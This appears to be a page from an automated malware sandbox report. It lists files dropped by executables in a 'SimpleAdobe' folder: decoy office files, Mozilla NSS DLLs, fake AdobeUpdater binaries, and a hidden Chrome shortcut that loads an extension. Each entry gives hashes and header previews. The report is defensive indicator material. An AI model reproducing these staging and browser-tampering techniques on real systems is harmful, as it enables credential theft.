BYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\ProgramData\QCOILOQIKC.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697125102277996
Encrypted:	false
SSDEEP:	24:uVOXLU7xwK58ZsokCVVZGi4eW0ZFJVPNR+x:c7xR8mwGi4sbv+x
MD5:	207485EFCE70435971C31586A1E4CF97
SHA1:	245A410AEB767B099944A8E81F75FC9A4B270DFB
SHA-256:	BF45E8FD687DC0E63FD40F32F2279152430579EDE044C3BB0852A1AC460D4B09
SHA-512:	A7F01CBBAFE9EA12B4C820F5E1A107D4C6FBD57CFF41C4AC679485F2B7DAFA4E9148AF830A39A083EC866E988A8E279FEB39D5EB58593E75D22253BED4DEFA19
Malicious:	false
Reputation:	unknown
Preview:	QCOILOQIKCUYMAHQLCLSCUGPPLVTJEARXPXBWFLOFHRVUSXLZVWHDQNKEMGPPQAGBLIPFAECDZNKKHITNQJASUXZAYMZIQCEHAQMCVZBMFUDBNQEKCBNCGMUWXDJLMJKVRKYBLRGNWGBGEVIGVROENGUXKJERNJSJJEMVLDKUXDFUWUPQNWUYRIEPUFOQKPDSZXXCKNQVBEAVMDMBRZSWYPCNALGHTDFWFNDXKSHXCRLYPVFVYVEOFRHUFZZGNIXSJQCPZGONOYWWUQLBEBGALPOGZBXJUYXTHWOKWNKJYPSELALXQYIKAHXCELBTKSQFTNYWBHRPQFULPLOCWEQAXEQNXOBIQOYFSEEZWHQQLZPBQOUMVZIMRWRLSPDKEBXSTPZLAGVYIORHCDBXTBHYOFKACXVGKKSIFHPOLDOQGIDQPFPVIPGUCGUCQLFFBYAGFJYFOMBUMPAHPQLDOHYAMKEGSDPXEYBQJUOWZOPFYRTLYUYDJHPLVEXBXUGVUEYIBUTUABUIHROFHZMLJUXWGZILWRHVKGOSZXXCIWGRGUZQDKQMTXRRWHDLJPPIRDALEIAYYTEEONIAELEISEOGNTDSALVOZDMFPLJSJMKJYMWGSKCTXHTLYYFJSXNZMDELRTJBNXSGAOEPKCPEEPFZKCAATOWHUWGQAEQNZHTKQEUCFRXVJWOGAEQDIWARNNFKCHEDRWTKEOVTURBKPDMQPPDCJGTYCTIRELHGRIRLWAPLCEHANSMGDZZYCXXDOTQVOSDZJAEBOTEVLSMHXCOWDPVQPSGDIDBAWUTDPIYPVBFSUMFBUYOPRXLECFHENURLSLKGPFWXDUFYOAKNTFKOYFUZEKLRZOLPYKMCKVZOIMDCCSGPQNCQXJOTJDKUQEPVHFKRSGZYJBNUHVTOEMNLTDXGZHTDQFQZCOULTNVZRAVLOIOVIKUTWPYLRJUCUDMYVYFWSBLJTJKMSJEIJXWYNPKGTYLKDAEVBUQUIJX

C:\ProgramData\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Reputation:	unknown
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\ProgramData\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Reputation:	unknown
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\ProgramData\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Reputation:	unknown
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11403264
Entropy (8bit):	7.976262170621303
Encrypted:	false
SSDEEP:	196608:SYvZvPF60956XHt6+YF+ELzL2Zjbn2YH0oD6DGcCwHbGkG:3Fcw5kHo5F+E+j7260oOYc
MD5:	D43AC79ABE604CAFFEFE6313617079A3
SHA1:	B3587D3FA524761B207F812E11DD807062892335
SHA-256:	8B750884259DD004300A84505BE782D05FCA2E487A66484765A4A1E357B7C399
SHA-512:	BB22C73ED01FF97B73FEB68AE2611B70EF002D1829035F58A4BA84C5A217DB368AAE8BDC02CDEC59C1121922A207C662AA5F0A93377537DA42657DD787587082
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...._3f..........#..........,......`..........@.......................................... .................................................06..d.......X,...Y...*..............................................(....W..8...............h............................text....~.......................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0....,......................... ..`.text1..8...........................@....text2............................`..h.rsrc...X,.........................@..@........................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 11:02:31 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2208
Entropy (8bit):	3.507498436297463
Encrypted:	false
SSDEEP:	48:8SidATkoGRYrnvPdAKRkdA5q+9Jq87dAKRFdAKR/U:8S5tf
MD5:	42594E3ABDC56B63C24109DE6B09CC2D
SHA1:	876ED3BFA29A4E858C616CE77682130F253C4CA5
SHA-256:	CAE2A47058668CFEF62E708205AAE9A2B066D61BFEB460EA0BE4F4623EFFC422
SHA-512:	0C1322DC1AADD15ECBF4105D2642E7B868256FDFA406BF847AF3A097983C51924E27C0946ADFB390CA4F6F34143DF254B1A3F311DE6F1D164D19C3C0EC1F153C
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,....._........q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DW.V..PROGRA~1..t......O.IDW5`....B...............J.....i...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDWP`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDWP`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDWP`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDWI`..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.?. .-.-.l.o.a.d.-.e.x.t.e.n.s

C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe (copy)

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	468480
Entropy (8bit):	7.707638639777151
Encrypted:	false
SSDEEP:	12288:8fUVPK8c9FHGovaqSdUgGe2floqIIxuSyovf4CzBIG6Dac:RK/9F1vaqbeeloqII4SHv3OG6j
MD5:	F14B083F53FEFD0071732BF5C0DCD6FA
SHA1:	661566E9131C39A1B34CABDE9A14877D9BCB3D90
SHA-256:	2A7B010296F77BC811CDB2802DC11B7DA7E486A3C7CDBB6B2783B12B828BD57D
SHA-512:	889804F0872D7882EB9160EA4B0EF7E86079006965B988BB5426F36CB2B9B354F03C411759FF74D91905EAA67B88EA5F11BE76B5F0F4F47B8AA9B53FCB9FBCDF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L....yOf...............'.............F............@..........................p............@.................................DY..(............................P.......?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...d....p.......>..............@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	468480
Entropy (8bit):	7.707638639777151
Encrypted:	false
SSDEEP:	12288:8fUVPK8c9FHGovaqSdUgGe2floqIIxuSyovf4CzBIG6Dac:RK/9F1vaqbeeloqII4SHv3OG6j
MD5:	F14B083F53FEFD0071732BF5C0DCD6FA
SHA1:	661566E9131C39A1B34CABDE9A14877D9BCB3D90
SHA-256:	2A7B010296F77BC811CDB2802DC11B7DA7E486A3C7CDBB6B2783B12B828BD57D
SHA-512:	889804F0872D7882EB9160EA4B0EF7E86079006965B988BB5426F36CB2B9B354F03C411759FF74D91905EAA67B88EA5F11BE76B5F0F4F47B8AA9B53FCB9FBCDF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L....yOf...............'.............F............@..........................p............@.................................DY..(............................P.......?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...d....p.......>..............@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	5.3318368586986695
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymRLKTqdqlq7qqjqcEZ5D:Pq5qHwCYqh3qtI6eqzxP0at9KTqdqlqY
MD5:	0B2E58EF6402AD69025B36C36D16B67F
SHA1:	5ECC642327EF5E6A54B7918A4BD7B46A512BF926
SHA-256:	4B0FB8EECEAD6C835CED9E06F47D9021C2BCDB196F2D60A96FEE09391752C2D7
SHA-512:	1464106CEC5E264F8CEA7B7FF03C887DA5192A976FBC9369FC60A480A7B9DB0ED1956EFCE6FFAD2E40A790BD51FD27BB037256964BC7B4B2DA6D4D5C6B267FA1
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\_C5tySJGGF0UA_S78re9UWIo.exe.log

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	false
Reputation:	unknown
